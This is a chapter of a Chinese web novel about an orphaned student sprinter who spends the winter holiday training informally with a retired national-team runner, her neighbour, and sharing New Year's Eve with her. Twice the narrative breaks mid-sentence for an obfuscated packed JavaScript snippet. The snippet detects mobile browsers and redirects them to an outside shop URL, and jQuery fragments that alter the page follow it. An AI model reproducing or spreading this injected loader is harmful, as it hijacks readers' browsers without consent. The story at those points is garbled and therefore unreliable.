“银星呀,今年过年你就安心住在这儿,屋里有什么问题随时找我们。”
孙阿姨笑眯眯地从抽屉柜里翻出了一个红色的福袋,递给了路银星。
“这是新年礼物,学校准备给你的。”接着,孙阿姨又从自己兜里掏出了一个红包,“这个呢,是我给你的,没两百块钱,就当作是新年的好兆头。”
“孙阿姨,真的不用!我每年政府都会给我发慰问金的,在学校也不花什么钱!”路银星赶忙把红包推了回去。
孙阿姨一下板起脸来,严肃道:“银星你不收的话,我可不好意思再让你偶尔替我看会儿前台了。”
路银星:“可孙阿姨你每次回来都给我带好吃的......”
“一码归一码!”孙阿姨又把红包推了回去,强行塞进了路银星的怀里,“发出去的红包不收的话,运气会不好的!”
孙阿姨都说到这个份上,路银星只好收下。
“谢谢孙阿姨,祝您新年快乐!”
路银星的房间被收拾得干净整洁,她将行李箱的日常物品放到各个角落,这才放松下来,趟在了柔软的床上。
她拆开学校给她的福袋,里面有蛇年主题的笔记本、文具、毛绒挂件和一个红包。红包里面有六百块,是每年给她添置新年衣服和年货的补助。
叮、叮叮——
路银星的老式手机响起了铃声,来电显示是福利院。
“银星同学,新年好呀!今年的过年补助已经发到你卡上了,给自己买点儿好吃的。还有,路院长让我和你说一声新年快乐!好好照顾自己!”
这是福利院专门负责慰问金发放的工作人员,每年她都给路银星打上这么一通电话。
热情,又疏远。
她还是被记得的,尽管这种连接很稀薄。
路银星挂掉电话,好不容易平静的内心又莫名泛起了层层涟漪。
她简单洗了把脸,套上外套,一路小跑来到了令她心安的操场上。
虽然健身房关闭了,但操场是永远开放的。
路银星从兜里拿出一个气球,一边吹气球,一边开始绕着操场慢跑。
自从林风给她布置这任务以来,路银星每天都会认真完成,至今已经坚持了一个半月有余了。
一开始的效果并不显著,但吹到现在,路银星也渐渐感觉到自己对呼吸的掌控力越来越强。
而且,在有了把握换气点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462348|200876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的意识之后,路银星在跑步的节奏也提升了许多。
现在的她,不必在百米的有限时间里去特意注意呼吸,因为呼吸的时机早已如同肌肉记忆般,刻进了她的身体。
路银星在操场上跑了十几圈,又自觉完成了训练时总会进行的变速跑和组合跑,跑到满头都是汗珠,这才慢慢往回走。
-
整个寒假,路银星生活得很是规律。
早上去操场晨跑,接着去隔壁菜市场买上新鲜的食材,自己完成一日三餐。在房间完成寒假作业和计划好的学习任务后,下午再去操场自主进行跑步训练。
晚上的时候,她偶尔会替去找家人的孙阿姨看一会儿前台,那时候她会看上一会儿书,大多是关于跑步的书籍。
这种规律,算得上枯燥无趣,但路银星的内心却很满足和平静。
她需要这些规律的、看得见的努力,让自己少去思考别的不确定的事情。比如,她能不能真的靠跑步实现永远被需要的目标。
大年夜这天,路银星依旧按照着既定的计划过着自己平平无奇的日子。
下午从操场走回教师公寓的时候,路银星发现大厅里多了很多红灯笼和中国结,年味儿十足。
孙阿姨笑盈盈地朝她道了声“新年好”,路银星也点头回应。
路银星坐电梯上楼,掏出钥匙刚准备开门,就听到一个熟悉的声音在背后响起。
“路银星同学,新年好呀。”
路银星转头,林风正从不远处走来。
“林老师,你也新年好。”路银星回道。
等到走近的时候,路银星才注意到林风的手上端着一个白色的盘子,盘子里装满了饺子。
“今天不是除夕么,我正巧现包了一些饺子,虾仁玉米馅儿的。但包多了,又正好全下了,就给你送些来。对了,还有你们这儿爱吃的春卷,我也买了些,炸好的。”
路银星愣了下,不知道该不该接。
林风没给她选择,直接就把盘子塞到了她的手上。
“别客气,你不吃,明天可就坏了。”林风说道。
路银星只好收下。“谢谢林老师。”
“对了,吃完盘子记得还我。我住712,敲门就行。”
原来林风不仅和自己住一层,还是邻居。她之前怎么没发现。
回到房间后,路银星看着还冒着热气的饺子,想到了自己昨天采购的那袋速冻水饺,笑了笑。
思忖片刻后,路银星打开了电视机,此时春节联欢晚会的节目刚刚开始。
现包现煮的饺子确实比较好吃,春卷又酥脆,配上电视机的背景音,让路银星感受到了久违的新年氛围。
半小时后,路银星敲响了712的房门。
“林老师,谢谢您的饺子和春卷,我来还您盘子。”
10.野生
林风很快就来开门了,接过空盘子的时候,顺便把路银星自然地迎了进来。
“来这儿陪我坐会儿,我一个人过除夕也挺无聊的。”
林风的说法让路银星很难拒绝。
于是,一分钟后,路银星坐在了林风房间的沙发上,并排和她一起看起了春晚。
路银星环顾四周,发现这屋子也没比自己那间热闹多少。
林风身上究竟发生了什么?
她给自己的吹气球训练颇有成效,加上她国家队退役与如今的佛系摆烂的传言,路银星对林风这个人产生了更多的好奇。
节目看得心不在焉,路银星好几次欲言又止。
她想问林风为什么没和家人一起过年,又觉得这问题不太合适,到嘴边吞了回去。
林风的余注意到了路银星的小动作,嘴角上扬,主动替她问出了问题。
“你想问我为什么也没回家过年?”
不等路银星回答,林风就自顾自地答了起来。
“我爸四五年前去世了,因为肺癌走的,大概是抽了太多烟导致的。我妈身体算是硬朗,但我一回去就关心我这个四旬女子,到底什么时候找个对象,挣多少钱,是想在这学校里待一辈子么?”
林风一连串说完,长长地叹了口气,自嘲道:“你说,我就不能躺平也不结婚么?”
原来,林风是有家很难回,躲在学校公寓里的。虽然因为年纪不大,无法完全理解林风真正的困境,但路银星还是给予了肯定的回答。
“当然可以啊。”路银星郑重地点头,“林老师过的是自己的生活。”
“哈哈哈哈哈。”林风突然放声大笑起来,笑得前仰后合,笑得眼泪都出来了。
路银星眨眨眼睛,试图理解眼前的状况。
“抱歉。”林风深吸了一口气,平复了下因为大笑而混乱的气息,“小朋友的安慰总是有特别的效果,谢谢你的新年礼物。”
路银星还是懵懵的:“不、不客气。”
两人之间的距离因为这一次意外的谈心而拉近,接下来的聊天便更自在了。
路银星发现林风确实像她的名字一样,是个自在如风的女子。
林风洒脱且跳跃,讲的话题天南地北。
虽然她很松弛地靠在沙发上,但隐隐的,路银星能从林风的话间感受到一种内在的张力,像是曾经迸发过的火花,又闪出了新的火苗。
路银星是和林风一起倒数迎接的新年,之后她便回到自己房间,沉沉睡去。
和林风一起度过了特别的除夕夜后,路银星第二天又过回了按部就班的生活。
只是,这几天,路银星总能在操场上和林风偶遇。
可能也不算是偶遇。毕竟,林风不仅会给她掐秒表看时间,还会指出她跑步时遇到的问题,以及一些改进方法。
有的时候尽管只是一点点的改变,但路银星确实感觉到了很大的不同。
林风看着手记时间越来越快的路银星,嘴角扬起了欣慰的笑容。
“再来一趟,我们就下一个训练项目了。”林风其实已经承担起了教练的职责,虽然她没有教练的名头。
“好。”路银星走到起点,放松手脚,在心里给自己鼓劲儿。
这些天以来,路银星觉得自己在跑步的时候莫名放松了一些,可能因为呼吸节奏的调整,连步伐都轻盈起来。
路银星双手撑在跑道上,抬起头,眼神凶狠地盯着终点的方向。
她能做到的,她能越跑越快的。
在自我的正向激励中,路银星压着哨声飞奔而出。她按照这些天的节奏,在30米和70米左右的位置快速偷了一口气,又面目狰狞地冲向了终点。
“11秒53。”林风立刻给她报上了成绩。
“虽然是手记,但这成绩在四月的省队试训的测试赛里,足够名列前茅了。”
这个小疯子果然很有灵气,自己一点就通,林风想。
路银星首次突破12秒大关,站在终点线上陷入梦里似的,一时没回过神来。
她眨眨眼睛,再次确认道:“我真的跑进了12秒?”
“千真万确。”林风把秒表上的数字转给她看。
路银星笑得灿烂。
“今天的最后一项,我们练不同信号起跑。”
林风话音刚落,路银星身体就下意识僵硬了下,刚才的短暂的快乐从指缝中悄然溜走。
大概是上次反应失败和上上次的抢跑事故给路银星留下了不小的心理阴影,不同信号起跑算是她这段时间以来最容易紧张的训练项目。
但无论如何,路银星都做好了直面一切的打算。
“这次我们的信号比较多变,有常规的哨子、鼓掌等声音信号,也有只看我旗子挥动的视觉信号。当然,也有不太常规的。比如,我来数数,奇数不跑,偶数再跑,下一次再反过来。”
林风做这这些的目的,是不想让路银星被常规路径依赖给困住。
在林风看来,小疯子这个人,很刻苦很有灵气,但骨子里很执拗,特别容易钻进自己的牛角尖里,被自己给自己绑上的枷锁束缚住。
比起其他人,路银星更需要一些非常规的办法。
一开始的哨子和鼓掌声,路银星都反应得很快。无论等待时间是几秒,她都能迅速地完成起跑的步骤。
“你这不是做得挺好的吗?不要给自己太多心理压力。”
林风说着,将下一次的出发信号,从声音转换成了视觉信号,而且还是带选择判断的升级版本。
“看我在前方挥动绿色旗子的时候你出发,红色的是烟雾弹。”
路银星心里陡然一紧,悄悄深呼吸,点点头应下,在起点线上准备就绪。
第一次,林风抬手,直接就挥动了绿色旗子。
路银星以为林风会虚晃一枪,结果猜测没中,反应慢了小半拍,第一次出发得没那么顺利。
“不要预设,专注在眼前。”林风说道。
“好。”路银星也知道自己刚才的发挥不好,甩了甩胳膊,重新做好起跑准备姿势。
这一次,林风连续举了三次红旗,才换成意味着出发的绿旗。
路银星这一次精神很集中,出发得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472530|200876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很顺利。
林风点点头,又重新摇了几回旗子作为出发信号。
路银星应对得越发游刃有余,精准快速地判断信号,又流畅地完成重心的变化和蹬摆的衔接。
“不错。”林风给路银星笑着鼓掌,“现在难度升级,听数字出发。”
路银星绷着的神经被再次扯紧,转过头去悄悄深呼吸了好几次。
但这些小动作还是落在了林风的眼里,她调侃道:“你这么不信任自己?”
“没有,就是有点儿紧张。”路银星转过身来,努力扯起嘴角,却没能掩饰嗓子的干涩。
“就算抢跑或者没反应过来,也是很正常的,这是练习的意义。”林风道。
练习的意义......?
路银星发现自己好像从来没有思考过,练习中的错误原来是正常的、可以被原谅的。
佛系的林风好像确实有独特的让人内心更平静的魅力。
路银星紧绷的神经松了一些,但该有的集中力没有因此消散。
“我报到奇数的时候,你就出发。”
林风的嘴角扬起。看来,路银星学着让自己从死角里退出来了一些了。
“一。”
这一次,林风故技重施,主打一个出其不意。
但路银星没有任何停顿,唰的一下立刻冲了出去。
走回来的时候,路银星还给林风扯了个难得的笑脸。“这次我可没上当。”
“那再来两次。”
林风的声音冷静而果断:“三十七。”
还是奇数。
路银星在零点几秒内快速完成了判断,再次冲了出去。
“又来这招?”放松紧绷的弦后,路银星话也多了起来。
“兵不厌诈嘛。”林风挑眉。
容许出错后,路银星反而发挥得越来越好。
无论林风是奇数还是偶数指令出发,无论林风的正确数字出现得或早或晚,路银星总是能敏锐地捕捉到,并快速作出反应。
“今天做得很好。”林风拍拍路银星的肩膀,“明天我有事儿不能来,你也多休息会儿。”
“好。”
寒假的后半段时期,路银星就这么跟着林风这个野生教练一起训练。
野生教练不仅在关系上很野生,在训练方法上也挺野生的。
除了找呼吸节奏,听各种奇奇怪怪的出发信号以外,林风经常会让自己干一些略显傻气的事儿,诸如和风做朋友什么的。
路银星不甚明白,但心情倒是没那么紧绷了。
开学前一天,路银星鬼使神差地问道:“林老师你能不能做我教练?”
“那你们黄教练会伤心的。”
“他只会伤心他的......”
路银星把后半句吞回肚子里,黄力只会伤心从自己的身上拿不到钱而已。
“那林老师你能不能加入田径队的教练团队?”路银星不想放弃,“或者,你还是私下悄悄教我。”
林风还是摇头:“太累,我得多歇歇。”
“好吧......”路银星叹气。